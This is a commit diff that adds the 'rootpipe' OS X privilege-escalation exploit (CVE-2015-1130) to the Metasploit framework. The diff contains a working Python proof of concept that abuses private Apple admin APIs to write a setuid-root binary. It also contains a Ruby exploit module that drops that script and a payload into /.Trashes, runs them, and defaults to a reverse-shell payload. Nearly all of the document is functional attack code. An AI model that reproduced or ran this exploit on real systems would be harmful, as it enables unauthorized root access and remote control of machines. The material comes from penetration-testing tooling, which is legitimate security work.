Land rapid7#5119, @wvu's addition of the OSX rootpipe privesc exploit.

orts
borts

Author: joevennix

data/exploits/CVE-2015-1130/exploit.py

@@ -0,0 +1,73 @@
+########################################################
+#
+#  PoC exploit code for rootpipe (CVE-2015-1130)
+#
+#  Created by Emil Kvarnhammar, TrueSec
+#
+#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
+#
+########################################################
+import os
+import sys
+import platform
+import re
+import ctypes
+import objc
+import sys
+from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
+from Foundation import NSAutoreleasePool
+
+def load_lib(append_path):
+    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
+
+def use_old_api():
+    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
+
+
+args = sys.argv
+
+if len(args) != 3:
+    print "usage: exploit.py source_binary dest_binary_as_root"
+    sys.exit(-1)
+
+source_binary = args[1]
+dest_binary = os.path.realpath(args[2])
+
+if not os.path.exists(source_binary):
+    raise Exception("file does not exist!")
+
+pool = NSAutoreleasePool.alloc().init()
+
+attr = NSMutableDictionary.alloc().init()
+attr.setValue_forKey_(04777, NSFilePosixPermissions)
+data = NSData.alloc().initWithContentsOfFile_(source_binary)
+
+print "will write file", dest_binary
+
+if use_old_api():
+    adm_lib = load_lib("/Admin.framework/Admin")
+    Authenticator = objc.lookUpClass("Authenticator")
+    ToolLiaison = objc.lookUpClass("ToolLiaison")
+    SFAuthorization = objc.lookUpClass("SFAuthorization")
+
+    authent = Authenticator.sharedAuthenticator()
+    authref = SFAuthorization.authorization()
+
+    # authref with value nil is not accepted on OS X <= 10.8
+    authent.authenticateUsingAuthorizationSync_(authref)
+    st = ToolLiaison.sharedToolLiaison()
+    tool = st.tool()
+    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
+else:
+    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
+    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
+    client = WriteConfigClient.sharedClient()
+    client.authenticateUsingAuthorizationSync_(None)
+    tool = client.remoteProxy()
+
+    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
+
+
+print "Done!"
+
+del pool

modules/exploits/osx/local/rootpipe.rb

@@ -0,0 +1,114 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Local
+
+  Rank = GreatRanking
+
+  include Msf::Post::OSX::System
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',
+      'Description'    => %q{
+        This module exploits a hidden backdoor API in Apple's Admin framework on
+        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
+
+        Tested on Yosemite 10.10.2 and should work on previous versions.
+
+        The patch for this issue was not backported to older releases.
+
+        Note: you must run this exploit as an admin user to escalate to root.
+      },
+      'Author'         => [
+        'Emil Kvarnhammar', # Vulnerability discovery and PoC
+        'joev',             # Copy/paste monkey
+        'wvu'               # Meta copy/paste monkey
+      ],
+      'References'     => [
+        ['CVE',   '2015-1130'],
+        ['OSVDB', '114114'],
+        ['EDB',   '36692'],
+        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
+      ],
+      'DisclosureDate' => 'Apr 9 2015',
+      'License'        => MSF_LICENSE,
+      'Platform'       => 'osx',
+      'Arch'           => ARCH_X86_64,
+      'SessionTypes'   => ['shell'],
+      'Targets'        => [
+        ['Mac OS X 10.9-10.10.2', {}]
+      ],
+      'DefaultTarget'  => 0,
+      'DefaultOptions' => {
+        'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
+        'CMD'     => '/bin/zsh'
+      }
+    ))
+
+    register_options([
+      OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),
+      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
+    ])
+  end
+
+  def check
+    (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    print_status("Writing exploit to `#{exploit_file}'")
+    write_file(exploit_file, python_exploit)
+    register_file_for_cleanup(exploit_file)
+
+    print_status("Writing payload to `#{payload_file}'")
+    write_file(payload_file, binary_payload)
+    register_file_for_cleanup(payload_file)
+
+    print_status('Executing exploit...')
+    cmd_exec(sploit)
+    print_status('Executing payload...')
+    cmd_exec(payload_file)
+  end
+
+  def ver?
+    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
+      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
+    )
+  end
+
+  def admin?
+    cmd_exec('groups | grep -wq admin && echo true') == 'true'
+  end
+
+  def sploit
+    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
+  end
+
+  def python_exploit
+    File.read(File.join(
+      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
+    ))
+  end
+
+  def binary_payload
+    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
+  end
+
+  def exploit_file
+    @exploit_file ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
+  end
+
+  def payload_file
+    @payload_file ||=
+      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
+  end
+
+end